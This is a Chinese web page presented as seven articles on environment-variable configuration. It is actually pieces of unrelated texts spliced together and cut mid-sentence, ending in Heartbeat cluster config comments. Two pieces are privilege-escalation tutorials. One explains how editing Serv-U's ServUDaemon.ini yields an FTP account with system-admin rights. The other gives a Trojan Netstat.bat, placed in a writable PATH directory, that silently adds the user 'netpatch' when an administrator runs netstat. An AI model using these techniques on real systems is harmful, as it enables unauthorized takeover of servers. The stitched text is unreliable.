Linux中环境变量配置文件详解（共7篇）
环境变量是和Shell紧密相关的，用户登录系统后就启动了一个Shell，对于Linux来说一般是bash，但也可以重新设定或切换到其它的 Shell。对于UNIX，可能是CShelll。环境变量是通过Shell命令来设置的，设置好的环境变量又可以被所有当前用户所运行的程序所使用。对于bash这个Shell程序来说，可以通过变量名来访问相应的环境变量，通过export来设置环境变量。下面通过几个实例来说明。
一.系统级：
1)etc/profile:此文件为系统的每个用户设置环境信息,当用户2：Servu配置文件详解和提权
Serv-U在设置用户以后会把配置信息存储与ServUDaemon.ini文件中，包括用户的权限信息和可访问目录信息。本地受限用户或者是远程攻击者只要能够读写Serv-U 的文件目录，就可以通过修改目录中的ServUDaemon.ini文件实现以Ftp进程在远程、本地系统上以FTP系统管理员权限来执行任意命令。
假设本地受限用户可以浏览Serv-U 的文件目录。找到ServUDaemon.ini文件。用记事本打开原文件大致内容为:
[GLOBAL]
Version=4.1.0.0 // Serv-U Ftp Server 版本号
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/
AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo wAGnUBuycB
ReloadSettings=True
#在修改INI文件后需加入此项,这时SERV-U会自动刷新配置文件并生效,此项随之消失.再有修改再次添加
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0 //主机IP以及域名,端口情况

HomeDir=c: // 可以浏览的目录
TimeOut=600
Access1=C:|RWAMLCDP
按规范添加一个用户,并且修改为
TimeOut=600

Access1=C:|RWAMELCDP 这里填系统所在盘符
#必填.密码.算法为随机产生2个字符,如hr.将hr 明文密码(如test)使用MD5加密,如MD5(“hrtest”,生成密码后将所有小写字符变为大写
#在最前加上这两个随机字符”hr” ”1589A4F0334FDF55D52F26DFA2D3CCEB”,生成最终密码
标准的serv-u用户配置段例

Access1=f:test|RWAMLCDP
以下这一行是权限设置,解释一下各参数代表的含义

篇3：详解如何在提权中利用环境变量
首先，我们先了解下什么叫环境变量！
环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数，比如临时文件夹位置和系统文件夹位置等等，这点有点类似于DOS时期的默认路径，当你运行某些程时序除了在当前文件夹中寻找外，还会到设置的默认路径中去查找。比如说环境变量中的“Path”就是一个变量，里面存储了一些常用命令所存放的目录路径。
查看系统当前的环境变量，可以使用SET命令查看！
下面是执行SET命令后反馈的信息

APPDATA=C:Documents and SettingsAdministratorApplication Data

======================================================================
我们知道，当我们把NC一类的常用小工具放在SYSTEM32时，不管我们当前路径在哪，都可以执行NC命令！------Hacking中也提供了不少方便，不是么？
其实这就是 Path 变量所起的作用了！
如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了，
也就是说，当我们在CMD中输入些命令时，系统将以如下顺序查找相关程序，来达到直接调用程序或文件的目的！
1．当前目录下的可执行文件！
2．依次查找Path变量中的所指定的目录！
OK，在大体认识了环境变量后，我们开始切入主题，谈谈如何利用环境变量为我们的Hacking提供便利。
我们知道PERL安装后会在变量Path内容的最前面加入c:perlbin //目录依安装而定
而当管理员权限配置不当时，会疏忽此目录的权限配置(默认权限配置，各WIN操作系统均有写权限)，也就给我们创造了提权的条件。
下面我举个利用的例子！
//是否可利用，取决于Path变量的位置以及该目录是否可写
//环境变量一定要在系统自带环境变量之前。
假设条件如下：
目标安装了PERL，且目录为c:perlbin
//目录可写
系统环境变量中的Path变量内容如下
Path=c:perlbin;C:WINDOWSsystem32;C:WINDOWS;C:WINDOWSSystem32Wbem
我们可以在该目录下创建如下文件
Netstat.cmd
or
Netstat.bat //常用系统命令亦可,请自己举一反三!THX~
文件内容如下
@net user netpatch nspcn.org /add>nul
Rem 命令一定要记得加 @ 结尾加
>nul
Rem @是为了隐藏命令本身
Rem >nul 是为了隐藏命令执行完后的结果反馈！
@%systemroot%system32netstat.exe %1 %2 %3 %4 %5 %6
Rem 学过批处理命令的同学应该知道这后面的%1 %2 %3等，是起 参数的作用
当管理员执行命令时，由于Path变量中c:perlbin位于系统环境变量的前面，所以，当管理员执行Netstat命令时，系统会首先找当前目录下的可执行文件，默认也就是”C:Documents and SettingsAdministrator” (依登陆用户而定)当没找到Netstat程序时，就会接着依次寻找环境变量中的Path变量中所定义的目录，4：Linux下设置环境变量各配置文件的区别
/etc/profile:此文件为系统的每个用户设置环境信息，当用户5：Linux中修改环境变量PATH
PATH的值是一系列目录，当您运行一个程序时，Linux在这些目录下进行搜寻，用以下命令可以看到 PATH的值。
$ echo $PATH
例如，在主机中，用户yogin的PATH值为：
/opt/kde/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/yogin/bin
其中“:”为分隔符。所以，上面的一串目录可以看成是如下的目录列表。
/opt/kde/bin
/usr/local/bin
/bin:/usr/bin
/usr/X11R6/bin
/home/yogin/bin
同样，也是主机中，用户root的PATH值为：
/opt/kde/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
要修改所有用户的PATH值，您可以以root身份编辑/etc/profile文件，修改其中包含 “PATH=”的一行，
例如，您可以使用pico编辑器打开/etc/profile文件。
$ pico -w /etc/profile
pico是一个文本编辑器，而-w选项关闭了长行回绕功能。
只有在用户重新注册后，PATH的新值才会生效。如果只是要修改某一个用户的PATH值，就应该编辑该 用户主目录中的.bash-profile文件。
如果您想将当前目录加入到PATH中，则将“.”加入PATH中，此时PATH的设定如下：
PATH=“$PATH:/usr/X11R6/bin:.”
export PATH
注意：在修改了PATH值或任何环境变量后，都要用export将其输出，新的PATH值才能生效。

# auto_failback: determines whether a resource will
# automatically fail back to its ”primary“ node, or remain
# on whatever node is serving it until that node fails, or
# an administrator intervenes.
#
# The possible values for auto_failback are:
# on - enable automatic failbacks
# off - disable automatic failbacks
# legacy - enable automatic failbacks in systems
# where all nodes do not yet support
# the auto_failback option.
#
# auto_failback ”on“ and ”off“ are backwards compatible with the old
# ”nice_failback on“ setting.
#
# See the FAQ for information on how to convert
# from ”legacy“ to ”on“ without a flash cut.
# (i.e., using a ”rolling upgrade“ process)
#
# The default value for auto_failback is ”legacy“, which
# will issue a warning at startup. So, make sure you put
# an auto_failback directive in your ha.cf file.

# The haresources files MUST BE IDENTICAL on all nodes of the cluster.
#
# The node names listed in front of the resource group information
# is the name of the preferred node to run the service. It is
# not necessarily the name of the current machine. If you are running
# auto_failback ON (or legacy), then these services will be started
# up on the preferred nodes - any time they're up.
#
# If you are running with auto_failback OFF, then the node information
# will be used in the case of a simultaneous start-up, or when using
# the hb_standby command.
#
# BUT FOR ALL OF THESE CASES, the haresources files MUST BE IDENTICAL.
# If your files are different thenalmost certainly something
# won't work right.

#
# We refer to this file when we're coming up, and when a machine is being
# taken over after going down.
#
# You need to make this right for your installation, then install it in
# /etc/ha.d
#
# Each logical line in the file constitutes a “resource group”.
# A resource group is a list of resources which move together from
# one node to another - in the order listed. It is assumed that there
# is no relationship between different resource groups. These
# resource in a resource group are started left-to-right, and stopped
# right-to-left. Long lists of resources can be continued from line
# to line by ending the lines with backslashes (“”).
#
# These resources in this file are either IP addresses, or the name
# of scripts to run to “start” or “stop” the given resource.
#
# The format is like this:
#
#node-name resource1 resource2 ... resourceN
#
#
# If the resource name contains an :: in the middle of it, the
# part after the :: is passed to the resource script. as an argument.
# Multiple arguments are separated by the :: delimeter
#
# In the case of IP addresses, the resource script. name IPaddr is
# implied.
#
# For example, the IP address 135.9.8.7 could also be represented
# as IPaddr::135.9.8.7
#
# THIS IS IMPORTANT!! vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
#
# The given IP address is directed to an interface which has a route
# to the given address. This means you have to have a net route
# set up outside of the High-Availability structure. We don't set it
# up here -- we key off of it.
#
# The broadcast address for the IP alias that is created to support
# an IP address defaults to the highest address on the subnet.
#
# The netmask for the IP alias that is created defaults to the same
# netmask as the route that it selected in in the step above.
#
# The base interface for the IPalias that is created defaults to the
# same netmask as the route that it selected in in the step above.
#
# If you want to specify that this IP address is to be brought up
# on a subnet with a netmask of 255.255.255.0, you would specify
# this as IPaddr::135.9.8.7/24 .
#
# If you wished to tell it that the broadcast address for this subnet
# was 135.9.8.210, then you would specify that this way:
# IPaddr::135.9.8.7/24/135.9.8.210
#
# If you wished to tell it that the interface to add the address to
# is eth0, then you would need to specify it this way:
# IPaddr::135.9.8.7/24/eth0
#
# And this way to specify both the broadcast address and the
# interface:
# IPaddr::135.9.8.7/24/eth0/135.9.8.210
#
# The IP addresses you list in this file are called “service” addresses,
# since they're they're the publicly advertised addresses that clients
# use to get at highly available services.
#
# For a hot/standby (non load-sharing) 2-node system with only
# a single service address,
# you will probably only put one system name and one IP address in here.
# The name you give the address to is the name of the default “hot”
# system.
#
# Where the nodename is the name of the node which “normally” owns the
# resource. If this machine is up, it will always have the resource
# it is shown as owning.
#
# The string you put in for nodename must match the uname -n name
# of your machine. Depending on how you have it administered, it could
# be a short name or a FQDN.
#
#-------------------------------------------------------------------
#
# Simple case: One service address, default subnet and netmask
# No servers that go up and down with the IP address

#-------------------------------------------------------------------
#
# Assuming the adminstrative addresses are on the same subnet...
# A little more complex case: One service address, default subnet
# and netmask, and you want to start and stop http when you get
# the IP address...

# the IP address...

# Regarding the node-names in this file:
#
# They must match the names of the nodes listed in ha.cf, which in turn
# must match the `uname -n` of some node in the cluster. So they aren't
# virtual in any sense of the word.
